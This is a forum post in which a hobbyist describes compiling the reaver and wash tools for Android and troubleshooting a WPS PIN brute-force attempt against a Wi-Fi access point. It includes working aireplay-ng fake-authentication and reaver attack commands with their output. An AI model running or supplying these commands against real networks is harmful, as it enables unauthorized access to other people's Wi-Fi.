[Android Apps and Games] n01ce:
Hi SOEDI,

OK, bcmon team has effectively not released much firmware patching nor tools source code, I understand.

I've finally built an Android.mk myself to build the tool that I will share. I think the compilation is OK but I've not managed to get reaver to crack a WPS network. Normal issue with maybe a non-PIN WPS AP/too far from the AP or compilation error? I get the same result with the tool released from bcmon.

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID Channel RSSI WPS Version WPS Locked ESSID
---------------------------------------------------------------------------------------------------------------
XX:XX:XX:XX:XX:XX 1 00 1.0 No SOME_SSID
^C

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Switching eth0 to channel 1
...
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: SOME_SSID)
[+] Nothing done, nothing to save.

It seems reaver can't successfully authenticate with the AP. Maybe there's some pre-requisites like an existing client on the AP to deauth.

EDIT: So I used aireplay-ng to do fake auth.

aireplay-ng eth0 -1 120 -a XX:XX:XX:XX:XX:XX -e SOME_SSID
No source MAC (-h) specified. Using the device MAC (YY:YY:YY:YY:YY:YY)
12:12:06 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 1

12:12:06 Sending Authentication Request (Open System) [ACK]
12:12:06 Authentication successful
12:12:06 Sending Association Request [ACK]
12:12:06 Association successful :) (AID: 1)

12:12:21 Sending keep-alive packet [ACK]

But the AP is not willing to respond to EAPOL start requests now.

reaver -i eth0 -A -b XX:XX:XX:XX:XX:XX -c 1 -vv -w -d 5 --no-nack

Reaver v WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching eth0 to channel 1
[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
DEBUG external/reaver-wps/80211.c (229): Red AP beacon
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: SOME_SSID)
[+] Trying pin 12345670
DEBUG external/reaver-wps/80211.c (229): Red AP beacon
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

Have you come across that issue?

Maybe it's just a AP secured against reaver.

By the way, how does Reaver-GUI app determines the monitor interface? It's eth0 with my pre-compiled driver, not using bcmon app. The GUI maybe can't find it (nor does aircrack-ng-GUI but it's more closely linked to bcmon app) because it can't find any WPS-enabled network unlinke command-line wash. I wonder why.

Monitor mode has been developed by bcmon team only for bcm4329 and bcm4330 chipset, nothing else.

For my part, I'm working on the driver to work on recent kernel versions, and also on a (nice) GUI for Aircrack.

I'm not working on the firmware part. I don't have sufficient ARM cracking experience/tools and bcmon team has not released the patching source code in C so that makes things quite difficult.

See this post of mine for bcm4334.

But I'd be glad to help ARM cracking folks to work on monitor mode for bcm4334, so that they can just focus on the firmware part.

Regards,

n01ce